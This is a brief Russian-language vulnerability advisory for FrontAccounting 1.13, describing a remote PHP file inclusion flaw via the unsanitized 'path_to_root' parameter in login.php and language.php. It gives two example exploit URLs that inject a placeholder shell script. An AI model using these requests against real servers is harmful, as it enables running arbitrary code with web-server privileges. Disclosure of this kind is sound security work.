Программа: FrontAccounting 1.13
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «path_to_root» сценариями login.php и language.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://site.com/path/accsess/login.php?path_to_root=[[Sh3LLScript]]
http://site.com/path/includes/lang/language.php?path_to_root=[[Sh3LLScript]]
